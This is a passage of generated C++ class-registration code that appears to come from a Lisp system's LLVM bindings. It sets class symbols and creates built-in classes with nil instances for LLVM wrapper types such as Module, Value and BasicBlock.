ageName(),llvmo::ConstantExpr_O::static_className()));\nllvmo::ConstantFP_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ConstantFP_O::static_packageName(),llvmo::ConstantFP_O::static_className()));\nllvmo::ConstantInt_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ConstantInt_O::static_packageName(),llvmo::ConstantInt_O::static_className()));\nllvmo::ConstantPointerNull_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ConstantPointerNull_O::static_packageName(),llvmo::ConstantPointerNull_O::static_className()));\nllvmo::DataLayout_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::DataLayout_O::static_packageName(),llvmo::DataLayout_O::static_className()));\nllvmo::FenceInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::FenceInst_O::static_packageName(),llvmo::FenceInst_O::static_className()));\nllvmo::GlobalValue_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::GlobalValue_O::static_packageName(),llvmo::GlobalValue_O::static_className()));\nllvmo::LandingPadInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::LandingPadInst_O::static_packageName(),llvmo::LandingPadInst_O::static_className()));\nllvmo::PHINode_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::PHINode_O::static_packageName(),llvmo::PHINode_O::static_className()));\nllvmo::PointerType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::PointerType_O::static_packageName(),llvmo::PointerType_O::static_className()));\nllvmo::StoreInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::StoreInst_O::static_packageName(),llvmo::StoreInst_O::static_className()));\nllvmo::TerminatorInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::TerminatorInst_O::static_packageName(),llvmo::TerminatorInst_O::static_className()));\nllvmo::UnaryInstruction_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::UnaryInstruction_O::static_packageName(),llvmo::UnaryInstruction_O::static_className()));\nllvmo::UndefValue_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::UndefValue_O::static_packageName(),llvmo::UndefValue_O::static_className()));\nllvmo::VectorType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::VectorType_O::static_packageName(),llvmo::VectorType_O::static_className()));\nllvmo::AllocaInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::AllocaInst_O::static_packageName(),llvmo::AllocaInst_O::static_className()));\nllvmo::BranchInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::BranchInst_O::static_packageName(),llvmo::BranchInst_O::static_className()));\nllvmo::ConstantDataArray_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ConstantDataArray_O::static_packageName(),llvmo::ConstantDataArray_O::static_className()));\nllvmo::Function_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Function_O::static_packageName(),llvmo::Function_O::static_className()));\nllvmo::GlobalVariable_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::GlobalVariable_O::static_packageName(),llvmo::GlobalVariable_O::static_className()));\nllvmo::IndirectBrInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::IndirectBrInst_O::static_packageName(),llvmo::IndirectBrInst_O::static_className()));\nllvmo::InvokeInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::InvokeInst_O::static_packageName(),llvmo::InvokeInst_O::static_className()));\nllvmo::LoadInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::LoadInst_O::static_packageName(),llvmo::LoadInst_O::static_className()));\nllvmo::ResumeInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ResumeInst_O::static_packageName(),llvmo::ResumeInst_O::static_className()));\nllvmo::ReturnInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ReturnInst_O::static_packageName(),llvmo::ReturnInst_O::static_className()));\nllvmo::SwitchInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::SwitchInst_O::static_packageName(),llvmo::SwitchInst_O::static_className()));\nllvmo::UnreachableInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::UnreachableInst_O::static_packageName(),llvmo::UnreachableInst_O::static_className()));\nllvmo::VAArgInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::VAArgInst_O::static_packageName(),llvmo::VAArgInst_O::static_className()));\n#endif // SET_SYMBOL\n#undef SET_SYMBOL\n#if defined(CREATE_CLASS) || defined(ALL_STAGES)\n// Depends on undefinedMetaClass\n    core::MetaClass_sp undefinedMetaClass; undefinedMetaClass.reset();\n\n    LOG(BF(\"Creating class[classllvmo__APFloat_Oval]\"));\n    core::BuiltInClass_sp classllvmo__APFloat_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__APFloat_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__APFloat_Oval,_lisp,llvmo::APFloat_O::static_classSymbol());\n    llvmo::APFloat_O::___staticMetaClass = classllvmo__APFloat_Oval;\n    _lisp->setf_findClass(llvmo::APFloat_O::static_classSymbol(),classllvmo__APFloat_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::APFloat_O>;\n        llvmo::APFloat_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::APFloat_O::static_className() % (void*)(llvmo::APFloat_O::static_newNil_callback()) );\n    classllvmo__APFloat_Oval->setInstance_newNil_callback(llvmo::APFloat_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::APFloat_O> nil_for_class(new llvmo::APFloat_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::APFloat_O::static_className() );\n        llvmo::APFloat_O::_nil = nil_for_class;\n        classllvmo__APFloat_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__APFloat_Oval->setSupportsSlots(llvmo::APFloat_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__APInt_Oval]\"));\n    core::BuiltInClass_sp classllvmo__APInt_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__APInt_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__APInt_Oval,_lisp,llvmo::APInt_O::static_classSymbol());\n    llvmo::APInt_O::___staticMetaClass = classllvmo__APInt_Oval;\n    _lisp->setf_findClass(llvmo::APInt_O::static_classSymbol(),classllvmo__APInt_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::APInt_O>;\n        llvmo::APInt_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::APInt_O::static_className() % (void*)(llvmo::APInt_O::static_newNil_callback()) );\n    classllvmo__APInt_Oval->setInstance_newNil_callback(llvmo::APInt_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::APInt_O> nil_for_class(new llvmo::APInt_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::APInt_O::static_className() );\n        llvmo::APInt_O::_nil = nil_for_class;\n        classllvmo__APInt_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__APInt_Oval->setSupportsSlots(llvmo::APInt_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Attribute_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Attribute_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Attribute_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Attribute_Oval,_lisp,llvmo::Attribute_O::static_classSymbol());\n    llvmo::Attribute_O::___staticMetaClass = classllvmo__Attribute_Oval;\n    _lisp->setf_findClass(llvmo::Attribute_O::static_classSymbol(),classllvmo__Attribute_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Attribute_O>;\n        llvmo::Attribute_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Attribute_O::static_className() % (void*)(llvmo::Attribute_O::static_newNil_callback()) );\n    classllvmo__Attribute_Oval->setInstance_newNil_callback(llvmo::Attribute_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Attribute_O> nil_for_class(new llvmo::Attribute_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Attribute_O::static_className() );\n        llvmo::Attribute_O::_nil = nil_for_class;\n        classllvmo__Attribute_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Attribute_Oval->setSupportsSlots(llvmo::Attribute_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Builder_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Builder_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Builder_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Builder_Oval,_lisp,llvmo::Builder_O::static_classSymbol());\n    llvmo::Builder_O::___staticMetaClass = classllvmo__Builder_Oval;\n    _lisp->setf_findClass(llvmo::Builder_O::static_classSymbol(),classllvmo__Builder_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Builder_O>;\n        llvmo::Builder_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Builder_O::static_className() % (void*)(llvmo::Builder_O::static_newNil_callback()) );\n    classllvmo__Builder_Oval->setInstance_newNil_callback(llvmo::Builder_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Builder_O> nil_for_class(new llvmo::Builder_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Builder_O::static_className() );\n        llvmo::Builder_O::_nil = nil_for_class;\n        classllvmo__Builder_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Builder_Oval->setSupportsSlots(llvmo::Builder_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__DebugLoc_Oval]\"));\n    core::BuiltInClass_sp classllvmo__DebugLoc_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__DebugLoc_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__DebugLoc_Oval,_lisp,llvmo::DebugLoc_O::static_classSymbol());\n    llvmo::DebugLoc_O::___staticMetaClass = classllvmo__DebugLoc_Oval;\n    _lisp->setf_findClass(llvmo::DebugLoc_O::static_classSymbol(),classllvmo__DebugLoc_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::DebugLoc_O>;\n        llvmo::DebugLoc_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::DebugLoc_O::static_className() % (void*)(llvmo::DebugLoc_O::static_newNil_callback()) );\n    classllvmo__DebugLoc_Oval->setInstance_newNil_callback(llvmo::DebugLoc_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::DebugLoc_O> nil_for_class(new llvmo::DebugLoc_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::DebugLoc_O::static_className() );\n        llvmo::DebugLoc_O::_nil = nil_for_class;\n        classllvmo__DebugLoc_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__DebugLoc_Oval->setSupportsSlots(llvmo::DebugLoc_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__EngineBuilder_Oval]\"));\n    core::BuiltInClass_sp classllvmo__EngineBuilder_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__EngineBuilder_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__EngineBuilder_Oval,_lisp,llvmo::EngineBuilder_O::static_classSymbol());\n    llvmo::EngineBuilder_O::___staticMetaClass = classllvmo__EngineBuilder_Oval;\n    _lisp->setf_findClass(llvmo::EngineBuilder_O::static_classSymbol(),classllvmo__EngineBuilder_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::EngineBuilder_O>;\n        llvmo::EngineBuilder_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::EngineBuilder_O::static_className() % (void*)(llvmo::EngineBuilder_O::static_newNil_callback()) );\n    classllvmo__EngineBuilder_Oval->setInstance_newNil_callback(llvmo::EngineBuilder_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::EngineBuilder_O> nil_for_class(new llvmo::EngineBuilder_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::EngineBuilder_O::static_className() );\n        llvmo::EngineBuilder_O::_nil = nil_for_class;\n        classllvmo__EngineBuilder_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__EngineBuilder_Oval->setSupportsSlots(llvmo::EngineBuilder_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ExecutionEngine_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ExecutionEngine_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ExecutionEngine_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ExecutionEngine_Oval,_lisp,llvmo::ExecutionEngine_O::static_classSymbol());\n    llvmo::ExecutionEngine_O::___staticMetaClass = classllvmo__ExecutionEngine_Oval;\n    _lisp->setf_findClass(llvmo::ExecutionEngine_O::static_classSymbol(),classllvmo__ExecutionEngine_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ExecutionEngine_O>;\n        llvmo::ExecutionEngine_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ExecutionEngine_O::static_className() % (void*)(llvmo::ExecutionEngine_O::static_newNil_callback()) );\n    classllvmo__ExecutionEngine_Oval->setInstance_newNil_callback(llvmo::ExecutionEngine_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ExecutionEngine_O> nil_for_class(new llvmo::ExecutionEngine_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ExecutionEngine_O::static_className() );\n        llvmo::ExecutionEngine_O::_nil = nil_for_class;\n        classllvmo__ExecutionEngine_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ExecutionEngine_Oval->setSupportsSlots(llvmo::ExecutionEngine_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__IRBuilderBase_Oval]\"));\n    core::BuiltInClass_sp classllvmo__IRBuilderBase_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__IRBuilderBase_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__IRBuilderBase_Oval,_lisp,llvmo::IRBuilderBase_O::static_classSymbol());\n    llvmo::IRBuilderBase_O::___staticMetaClass = classllvmo__IRBuilderBase_Oval;\n    _lisp->setf_findClass(llvmo::IRBuilderBase_O::static_classSymbol(),classllvmo__IRBuilderBase_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::IRBuilderBase_O>;\n        llvmo::IRBuilderBase_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::IRBuilderBase_O::static_className() % (void*)(llvmo::IRBuilderBase_O::static_newNil_callback()) );\n    classllvmo__IRBuilderBase_Oval->setInstance_newNil_callback(llvmo::IRBuilderBase_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::IRBuilderBase_O> nil_for_class(new llvmo::IRBuilderBase_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::IRBuilderBase_O::static_className() );\n        llvmo::IRBuilderBase_O::_nil = nil_for_class;\n        classllvmo__IRBuilderBase_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__IRBuilderBase_Oval->setSupportsSlots(llvmo::IRBuilderBase_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__InsertPoint_Oval]\"));\n    core::BuiltInClass_sp classllvmo__InsertPoint_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__InsertPoint_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__InsertPoint_Oval,_lisp,llvmo::InsertPoint_O::static_classSymbol());\n    llvmo::InsertPoint_O::___staticMetaClass = classllvmo__InsertPoint_Oval;\n    _lisp->setf_findClass(llvmo::InsertPoint_O::static_classSymbol(),classllvmo__InsertPoint_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::InsertPoint_O>;\n        llvmo::InsertPoint_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::InsertPoint_O::static_className() % (void*)(llvmo::InsertPoint_O::static_newNil_callback()) );\n    classllvmo__InsertPoint_Oval->setInstance_newNil_callback(llvmo::InsertPoint_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::InsertPoint_O> nil_for_class(new llvmo::InsertPoint_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::InsertPoint_O::static_className() );\n        llvmo::InsertPoint_O::_nil = nil_for_class;\n        classllvmo__InsertPoint_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__InsertPoint_Oval->setSupportsSlots(llvmo::InsertPoint_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__LLVMContext_Oval]\"));\n    core::BuiltInClass_sp classllvmo__LLVMContext_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__LLVMContext_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__LLVMContext_Oval,_lisp,llvmo::LLVMContext_O::static_classSymbol());\n    llvmo::LLVMContext_O::___staticMetaClass = classllvmo__LLVMContext_Oval;\n    _lisp->setf_findClass(llvmo::LLVMContext_O::static_classSymbol(),classllvmo__LLVMContext_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::LLVMContext_O>;\n        llvmo::LLVMContext_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::LLVMContext_O::static_className() % (void*)(llvmo::LLVMContext_O::static_newNil_callback()) );\n    classllvmo__LLVMContext_Oval->setInstance_newNil_callback(llvmo::LLVMContext_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::LLVMContext_O> nil_for_class(new llvmo::LLVMContext_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::LLVMContext_O::static_className() );\n        llvmo::LLVMContext_O::_nil = nil_for_class;\n        classllvmo__LLVMContext_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__LLVMContext_Oval->setSupportsSlots(llvmo::LLVMContext_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Module_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Module_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Module_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Module_Oval,_lisp,llvmo::Module_O::static_classSymbol());\n    llvmo::Module_O::___staticMetaClass = classllvmo__Module_Oval;\n    _lisp->setf_findClass(llvmo::Module_O::static_classSymbol(),classllvmo__Module_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Module_O>;\n        llvmo::Module_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Module_O::static_className() % (void*)(llvmo::Module_O::static_newNil_callback()) );\n    classllvmo__Module_Oval->setInstance_newNil_callback(llvmo::Module_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Module_O> nil_for_class(new llvmo::Module_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Module_O::static_className() );\n        llvmo::Module_O::_nil = nil_for_class;\n        classllvmo__Module_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Module_Oval->setSupportsSlots(llvmo::Module_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__PassManagerBase_Oval]\"));\n    core::BuiltInClass_sp classllvmo__PassManagerBase_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__PassManagerBase_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__PassManagerBase_Oval,_lisp,llvmo::PassManagerBase_O::static_classSymbol());\n    llvmo::PassManagerBase_O::___staticMetaClass = classllvmo__PassManagerBase_Oval;\n    _lisp->setf_findClass(llvmo::PassManagerBase_O::static_classSymbol(),classllvmo__PassManagerBase_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::PassManagerBase_O>;\n        llvmo::PassManagerBase_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::PassManagerBase_O::static_className() % (void*)(llvmo::PassManagerBase_O::static_newNil_callback()) );\n    classllvmo__PassManagerBase_Oval->setInstance_newNil_callback(llvmo::PassManagerBase_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::PassManagerBase_O> nil_for_class(new llvmo::PassManagerBase_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::PassManagerBase_O::static_className() );\n        llvmo::PassManagerBase_O::_nil = nil_for_class;\n        classllvmo__PassManagerBase_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__PassManagerBase_Oval->setSupportsSlots(llvmo::PassManagerBase_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Pass_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Pass_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Pass_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Pass_Oval,_lisp,llvmo::Pass_O::static_classSymbol());\n    llvmo::Pass_O::___staticMetaClass = classllvmo__Pass_Oval;\n    _lisp->setf_findClass(llvmo::Pass_O::static_classSymbol(),classllvmo__Pass_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Pass_O>;\n        llvmo::Pass_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Pass_O::static_className() % (void*)(llvmo::Pass_O::static_newNil_callback()) );\n    classllvmo__Pass_Oval->setInstance_newNil_callback(llvmo::Pass_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Pass_O> nil_for_class(new llvmo::Pass_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Pass_O::static_className() );\n        llvmo::Pass_O::_nil = nil_for_class;\n        classllvmo__Pass_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Pass_Oval->setSupportsSlots(llvmo::Pass_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Type_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Type_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Type_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Type_Oval,_lisp,llvmo::Type_O::static_classSymbol());\n    llvmo::Type_O::___staticMetaClass = classllvmo__Type_Oval;\n    _lisp->setf_findClass(llvmo::Type_O::static_classSymbol(),classllvmo__Type_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Type_O>;\n        llvmo::Type_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Type_O::static_className() % (void*)(llvmo::Type_O::static_newNil_callback()) );\n    classllvmo__Type_Oval->setInstance_newNil_callback(llvmo::Type_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Type_O> nil_for_class(new llvmo::Type_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Type_O::static_className() );\n        llvmo::Type_O::_nil = nil_for_class;\n        classllvmo__Type_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Type_Oval->setSupportsSlots(llvmo::Type_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Value_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Value_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Value_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Value_Oval,_lisp,llvmo::Value_O::static_classSymbol());\n    llvmo::Value_O::___staticMetaClass = classllvmo__Value_Oval;\n    _lisp->setf_findClass(llvmo::Value_O::static_classSymbol(),classllvmo__Value_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Value_O>;\n        llvmo::Value_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Value_O::static_className() % (void*)(llvmo::Value_O::static_newNil_callback()) );\n    classllvmo__Value_Oval->setInstance_newNil_callback(llvmo::Value_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Value_O> nil_for_class(new llvmo::Value_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Value_O::static_className() );\n        llvmo::Value_O::_nil = nil_for_class;\n        classllvmo__Value_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Value_Oval->setSupportsSlots(llvmo::Value_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__Argument_Oval]\"));\n    core::BuiltInClass_sp classllvmo__Argument_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__Argument_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__Argument_Oval,_lisp,llvmo::Argument_O::static_classSymbol());\n    llvmo::Argument_O::___staticMetaClass = classllvmo__Argument_Oval;\n    _lisp->setf_findClass(llvmo::Argument_O::static_classSymbol(),classllvmo__Argument_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::Argument_O>;\n        llvmo::Argument_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::Argument_O::static_className() % (void*)(llvmo::Argument_O::static_newNil_callback()) );\n    classllvmo__Argument_Oval->setInstance_newNil_callback(llvmo::Argument_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::Argument_O> nil_for_class(new llvmo::Argument_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::Argument_O::static_className() );\n        llvmo::Argument_O::_nil = nil_for_class;\n        classllvmo__Argument_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__Argument_Oval->setSupportsSlots(llvmo::Argument_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__BasicBlock_Oval]\"));\n    core::BuiltInClass_sp classllvmo__BasicBlock_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__BasicBlock_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__BasicBlock_Oval,_lisp,llvmo::BasicBlock_O::static_classSymbol());\n    llvmo::BasicBlock_O::___staticMetaClass = classllvmo__BasicBlock_Oval;\n    _lisp->setf_findClass(llvmo::BasicBlock_O::static_classSymbol(),classllvmo__BasicBlock_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::BasicBlock_O>;\n        llvmo::BasicBlock_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::BasicBlock_O::static_className() % (void*)(llvmo::BasicBlock_O::static_newNil_callback()) );\n    classllvmo__BasicBlock_Oval->setInstance_newNil_callback(llvmo::BasicBlock_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::BasicBlock_O> nil_for_class(new 